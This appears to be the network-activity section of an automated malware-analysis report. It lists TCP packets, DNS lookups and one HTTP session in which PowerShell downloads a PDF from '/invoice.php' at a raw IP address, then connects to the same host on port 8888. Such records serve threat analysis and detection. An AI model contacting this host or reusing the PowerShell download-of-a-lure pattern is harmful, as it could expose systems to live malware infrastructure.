Jan 10, 2025 19:32:32.367736101 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367737055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367767096 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367789984 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367813110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367825031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367841959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367852926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367862940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.367866039 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.367887020 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.376245022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.376275063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.376286030 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.376319885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.376342058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.376367092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.376393080 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.376415014 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.376415968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.376425982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.376435041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.376467943 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.386399031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.386411905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.386418104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.386462927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.386476040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.386527061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.386538029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.386547089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.386565924 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.386724949 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.394665003 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.394687891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.394697905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.394758940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.394769907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.394773006 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.394813061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.394814968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.394826889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.394889116 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.394978046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.394988060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.395031929 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.403237104 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.420195103 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420200109 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420202017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420275927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.420331955 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420344114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420361996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420372963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420382023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420389891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420393944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420399904 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.420409918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420420885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420434952 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.420448065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.420473099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.420504093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420515060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420525074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420537949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420547009 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.420573950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.420578957 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.427469969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.428936958 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.428960085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.428982019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429019928 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429032087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429043055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429063082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429092884 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429116964 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429128885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429171085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429243088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429255009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429265022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429277897 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429286003 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429326057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429352999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429472923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429483891 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429493904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429505110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429514885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429529905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429550886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429712057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429723024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429733992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429764986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429776907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429778099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429789066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429800987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429802895 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429831028 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.429898977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429909945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.429945946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430037975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430049896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430061102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430082083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430107117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430130005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430140972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430150032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430160046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430170059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430182934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430197954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430198908 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430223942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430382967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430433989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430442095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430447102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430458069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430483103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430659056 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430670977 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430680990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430695057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430702925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430706978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430717945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430727959 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430731058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430749893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430780888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.430952072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430962086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430972099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430982113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.430993080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431013107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431015968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.431026936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431039095 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431042910 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.431050062 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431056976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.431060076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431072950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431083918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431087971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.431094885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431106091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431117058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.431119919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431129932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.431160927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.431184053 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.437516928 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.443546057 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.454036951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454047918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454058886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454149008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454159021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454159975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.454179049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454189062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.454197884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454209089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454215050 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.454258919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.454374075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454384089 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454394102 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454406023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454417944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454440117 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.454466105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.454528093 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454539061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.454566002 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.463119984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.463143110 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.463155985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.463223934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.463223934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.463304996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.463336945 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.463347912 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.463359118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.463371992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.463381052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.463407993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.473294020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.473320007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.473330975 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.473370075 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.473397970 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.473445892 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.473457098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.473458052 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.473472118 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.473489046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.474230051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.481561899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.481631994 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.481642008 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.481654882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.481687069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.481684923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.481699944 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.481713057 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.481719017 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.481725931 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.481766939 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.507205963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507266045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507271051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507348061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.507370949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507383108 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507396936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507409096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507417917 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.507446051 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.507742882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507766962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507781029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507791042 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.507792950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507806063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507822037 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.507833004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507848024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.507872105 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.507905960 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.515743017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515773058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515783072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515794992 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515829086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515835047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.515839100 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515849113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515886068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.515893936 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.515945911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515964985 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515978098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515986919 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.515993118 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.515999079 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.516010046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:32.516024113 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.516056061 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.526479959 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.533193111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:32.866640091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:33.685193062 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:33.689964056 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:33.690045118 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:33.690210104 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:33.694988966 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:34.514333010 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 19:32:34.558501005 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 19:32:34.833091974 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 19:32:46.705570936 CET	62991	53	192.168.2.5	1.1.1.1
Jan 10, 2025 19:33:00.658696890 CET	49179	53	192.168.2.5	1.1.1.1
Jan 10, 2025 19:33:13.062684059 CET	58009	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 19:32:46.705570936 CET	192.168.2.5	1.1.1.1	0x8e7e	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:33:00.658696890 CET	192.168.2.5	1.1.1.1	0x3c69	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:33:13.062684059 CET	192.168.2.5	1.1.1.1	0x3cda	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 19:32:43.844362974 CET	1.1.1.1	192.168.2.5	0x51f2	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:32:43.844362974 CET	1.1.1.1	192.168.2.5	0x51f2	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 19:32:46.713330984 CET	1.1.1.1	192.168.2.5	0x8e7e	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:33:00.665735006 CET	1.1.1.1	192.168.2.5	0x3c69	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 19:33:13.070403099 CET	1.1.1.1	192.168.2.5	0x3cda	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	5020	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:32:30.974092007 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 19:32:31.771707058 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:32:31 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
